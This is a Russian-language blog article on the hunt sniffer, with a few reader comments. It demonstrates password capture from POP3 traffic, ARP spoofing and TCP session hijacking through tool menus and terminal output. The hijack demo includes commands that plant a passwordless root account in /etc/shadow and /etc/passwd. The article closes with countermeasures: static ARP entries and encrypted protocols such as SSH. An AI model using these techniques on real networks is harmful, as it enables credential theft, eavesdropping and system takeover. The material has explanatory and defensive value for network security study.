Слушаем сеть утилитой HUNT
Один из самых толковых снифферов, hunt обладает возможностями как анализатора пакетов, так и средствами для перехвата сеансов. Давайте рассмотрим не большой пример работы утилиты hunt:
+ОК QPOP (version 2.53) at testbox.example_web.net starting.
192.166.0.103 [1069] —> 172.23.98.91 [110]
USER testuser
192.168.0.103 [1069] —> 172.23.98.91 [110]
PASS test1
Этот фрагмент информации, перехваченной hunt, показывает, как эта программа позволяет определять имена пользователей и паролей. В данном случае пользователь (testuser) получал почту с РОР-сервера с использованием пароля test1. Как видно, возможности программы впечатляют. А теперь сконцентрируем все внимание на том, как hunt позволяет выполнять улучшенное прослушивание и перехват сеансов.
Прослушивание коммутируемых сетей с помощью hunt
Когда сеть поддается прослушиванию, программа hunt позволяет прослеживать любые установленные соединения в пассивном режиме, который отличается от методов прослушивания других анализаторов пакетов. Но при использовании коммутируемых сетей прослушивание в общем случае неэффективно. В таких сетях с помощью таблиц MAC-адресов пакеты отправляются только конкретному хосту. Т.е. пакеты никогда не передаются компьютеру, которому они не предназначены.
Сетевые адаптеры Ethernet отправляют широковещательный ARP-запрос узлам сети о наличии у них MAC-адреса, соответствующего определенному IP-адресу. Полученные соответствия сохраняются в кэше для выполнения более быстрого поиска в следующий раз. Просмотр текущей ARP-таблицы можно осуществить с помощью команды arp.
Программа hunt позволяет обмануть компьютеры, создавая новые соответствия IP-адресов машин физическим адресам компонентов сети (МАС-адресам). Этот метод называют ARP—подменой (ARP spoofing или ARP forcing). Представим себе, что хакер хочет прослушивать трафик, передающийся между двумя компьютерами, но поскольку они установлены в сети с коммутацией пакетов, то он лишен такой возможности. Прежде всего, давайте посмотрим на ARP-таблицы двух интересующих нас компьютеров.
client (192.168.2.10) at 77 : 77 : 77 : 77 : 77 : 77 [ether] on ethO
mail (192.168.2.20) at 44 : 44 : 44 : 44 : 44 : 44 [ether] on ethO
client$ arp -a
server (192.168.2.15) at 88 : 88 : 88 : 88 : 88 : 88 [ether] on ethO
mail (192.168.2.20) at 44 : 44 : 44 : 44 : 44 : 44 [ether] on ethO
gateway (192.168.2.1) at 66 : 66 : 66 : 66 : 66 : 66 [ether] on ethO
С помощью hunt хакер входит в меню ARP-демона и устанавливает подложные МАС-адреса на обоих хостах.
s/k) start/stop relayer daemon
l/L) list arp spoof database
a) add host to host arp spoof i/I) insert single/range arp spoof
d) delete host to host arp spoof r/R) remove single/range arp spoof
t/T) test if arp spoof successed y) relay database
x) return
-arps> a
src/dst hostl to arp spoof> client
hostl fake mac [EA:1A:DE:AD:BE:Q5]>
src/dst host2 to arp spoof> server
hostl fake mac [EA:1A:DE:AD:BE:06]>
refresh interval sec [0]>
-arps> l
on 192.168.2.10 is 192.168.2.15 аs EA:1A:DE:AD:BE:05 refresh Os
on 192.168.2.15 is 192.168.2.10 as EA:1A:DE:AD:BE:06 refresh Os
Теперь снова обратимся к ARP-таблицам наших компьютеров:
mail (192.168.2.20) at 44 : 44 : 44 : 44 : 44 : 44 [ether] on ethO
client (192.168.2.10) at EA:1A:DE:AD:BE:05 [ether] on ethO
client$ arp -a
mail (192.168.2.20) at 44 : 44 : 44 : 44 : 44 : 44 [ether] on ethO
gateway (192.168.2.1) at 66 : 66 : 66 : 66 : 66 : 66 [ether] on ethO
server (192.168.2.15) at EA:1A:DE:AD:BE:06 [ether] on ethO
С этого момента компьютер хакера будет отвечать на запросы для двух новых MAC-адресов, которые были добавлены в ARP-таблицы компьютеров client и server. Затем хакер запустит ARP-демон ретрансляции пакетов, который позволит пересылать пакеты от одного хоста другому, не информируя их о промежуточном узле передачи.
s/k) start/stop relayer daemon
l/L) list arp spoof database
a) add host to host arp spoof i/I) insert single/range arp spoof
d) delete host to host arp spoof r/R) remove single/range arp spoof
t/T) test if arp spoof successed y) relay database
x) return
*arps> s
daemon started
Даже если client попробует выполнить команду ping или traceroute для проверки соединения c server, то внешне все будет выглядеть вполне нормально.
traceroute to server.example.com (192.168.2.10), 30 hops max, 38 byte packets
1 server.example.com (192.168.2.10) 2.841 ms 2.717 ms 2.712 ms
client$
Но при этом все пакеты, передающиеся между двумя хостами, будут проходить через машину хакера. Т.е. все устанавливаемые соединения будут доступны для прослушивания с помощью hunt или любого другого анализатора пакетов, запущенного на компьютере нарушителя.
Перехват сеансов с помощью hunt
При использовании самых простых средств перехвата сеансов нарушитель отправляет пакеты серверу, которые будут им идентифицированы как пакеты, поступившие от легитимного клиента. На поступившие пакеты cервер отвечает как обычно – пакетом с установленным флагом АСК (пакетом подтверждения). Но поскольку легитимный клиент ничего не отправлял, то в ответ на АСК-пакет он отправит собственный АСК-пакет. Обе машины продолжают обмениваться АСК-пакетами, и возникает ситуация, которую называют лавиной ACK-пакетов (АСК storm), или АСК-наводнением (АСК flooding). С этого момента сеанс становится абсолютно бесполезным.
Программа hunt позволяет использовать возможность ARP-подмены для осуществления более простого перехвата сеансов во избежание создания АСК-наводнения. Поскольку эта программа может заставить два компьютера взаимодействовать посредством машины хакера, то hunt позволяет отбирать пакеты, которые будут доставлены каждой из сторон. Хакеры используют параметр ‘s’ (в главном меню Программы hunt) для обычного перехвата сеанса, или с помощью параметра ‘a’ можно провести ARP-подмену с одновременным перехватом сеанса для осуществления более надежной атаки.
l/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
*>a
0)192.168.2.10 [2983] —> 192.168.2.15 [23]
1)192.168.2.10 [4887] —> 192.168.2.15 [25]
2)192.168.2.15 [18827] —> 192.168.2.10 [21]
3)192.168.2.10 [58273] —> 192.168.2.15 [23]
4)192.168.2.10 [1020] —> 192.168.2.15 [22]
choose conn> 0
arp spoof src in dst y/n [y]>
src MAC [EA:1A:DE:AD:BE:03]>
arp spoof dst in src y/n [y]>
dst MAC [EA:1A:DE:AD:BE:04]>
input mode [r]aw, [l]ine+echo+\r, line+[e]cho [r]>
dump connectin y/n (y)>
dump [s]rc/[d]st/[b]oth [b]>
print src/dst same characters y/n In]>
CTRL-C to break
Программа hunt позволяет хакеру прослушивать соединение до тех пор, пока он не решит, что настал благоприятный момент для перехвата сеанса.
server# rm $85gpm
<нарушитель нажимает клавиши CTRL—C>
— press any key> you took over the connection
CTRL-C to break
server# arp -a
client.exaraple.com (192.168.2.15) at EA:1A:DE:AD:BE:03 on ethO
mail (192.168.2.20) at 44 : 44 : 44 : 44 : 44 : 44 [ether] on ethO
server# echo ‘r00t : : : : : : : :’ » /etc/shadow
server# echo ‘r00t:x:0:0:r00t:/root:/bin/bash’ » /etc/passwd
С этого момента хакер получил полный контроль над соединением. Пользователь, который организовал соединение, приходит в замешательство, так как hunt «любезно» выдает приглашение после ввода им любой команды.
<с этого момента соединением управляет хакер>
$ ls
$ ls -la
$ pwd
$ ps -ef
$ hostname
Как видно из вышеприведенного листинга, пользователь пытался выяснить, что произошло, так как он получал приглашения, а ни одна команда не выполнялась. Вероятнее всего, в этом случае пользователь разорвет соединение и постарается подключится заново, предполагая, что просто произошло что-то необъяснимое.
После того как хакер выполнит нужные команды с помощью перехваченного сеанса, он может разорвать соединение. В этом случае hunt отправляет соответствующий ТСР-пакет (RST) на каждый из хостов. Еще одним вариантом является попытка синхронизации соединения, когда управление соединением вновь возвращается легитимному пользователю. Для синхронизации потребуется отправка значительного количества символов на каждый из компьютеров, как показано ниже.
user have to type 4 chars and print 318 chars to synchronize connection
CTRL-C to break
Если решено заставить пользователя вводить необходимое количество символов, то hunt позволяет провести атаку социальной инженерии (пользователя просят ввести четыре символа в связи с ошибкой).
help
power failure detected
… power resumed, ok
server#
Любой новичок может попасться на эту хитрость и искренне полагать, что теперь все в порядке.
Меры противодействия атакам с помощью hunt
Не существует способа для предотвращения перехватов пакетов в сети с общей средой передачи. Поэтому, чтобы противодействовать любому типу прослушивания, для соединения компьютеров вместо концентраторов желательно использовать коммутаторы. Тем не менее, архитектура коммутируемых сетей не позволяет защититься от описанных выше атак ARP-подмены, даже при использовании специального порта управления, позволяющего контролировать соединения на коммутаторе.
Единственным возможным решением проблемы является жесткое кодирование MAC-адресов на локальных компьютерах таким образом, чтобы их не смогли изменить ни отправляемые ARP-запросы, ни получаемые ARP-ответы. В файле /etc/ethers нужно вручную записать строки с соответствиями аппаратных МАС-адресов устройств IP-адресам компьютеров.
Они должны выглядеть примерно так, как показано ниже.
88 : 88 : 88 : 88 : 88 : 88 192.168.2.15
44 : 44 : 44 : 44 : 44 : 44 192.168.2.20
66 : 66 : 66 : 66 : 66 : 66 192.168.2.1
Очевидно, что это довольно сложное и явно нерациональное решение. Каждый раз при добавлении нового компьютера или смене сетевого адаптера Ethernet придется обновлять этот файл на всех хостах локальной сети. Кроме того, таким способом можно предотвратить атаку, когда соединение происходит с компьютером, подключенным к той же сети. Если же хакер работает в сети, расположенной между компьютером-клиентом и компьютером-сервером, то он может провести ARP-подмену в точке, которая находится за пределами компетенции системного администратора.
Более надежным решением можно назвать применение протоколов, обеспечивающих шифрование передающегося трафика. Хакер может успешно перехватить установленный зашифрованный TCP-сеанс связи, но он не сможет ни получить никакой полезной информации, ни вставить собственные команды в поток зашифрованных данных, так как он не знает ключей, использующихся для шифрования сообщений. Поэтому при попытке хакера внести свои данные, сервер распознает, что они не были правильно зашифрованы и немедленно оборвет соединение.
Таким образом, самое плохое, что может сделать хакер при использовании шифрования передаваемых данных — это вызвать разрыв установленного соединения. Не так уж плохо, ведь это не принесет ему никакой пользы.
Для подключения к удаленным компьютерам и обмена файлами профессионалы рекомендуют использовать OpenSSH (доступный по адресу http://www.openssh.com/ (см. www.openssh.com)), который обладает всеми функциональными возможностями протоколов telnet, rlogin, RSH и FTP, и при этом обеспечивает полное шифрование всех передаваемых данных. Для обмена HTTP-данными можно использовать протокол HTTPS, который является SSL-версией (обеспечивающей обмен кодированными сообщениями) протокола HTTP.
Твитнуть
Впечатлил функционал, спасибо за утилиту
Интересная вещь, спасибо за информацию, буду использовать.
Спасибо за инфу, пшёл качать прогу охотника:)
Интересно, побольше бы информаций по этой теме.
Вот это программка! Я в шоке. У меня тоже VPN соединение. буду знать. Спасибо за обзор
Надо будет попробывать на работе, может что нибудь услышу
Программа, конечно, впечатляет своими возможностями, но не стоит переживать из-за нее. Все равно те, у кого руки кривые не сможет ей пользоваться толково.
Программа очень интересна. Обязательно попробую и отпишусь.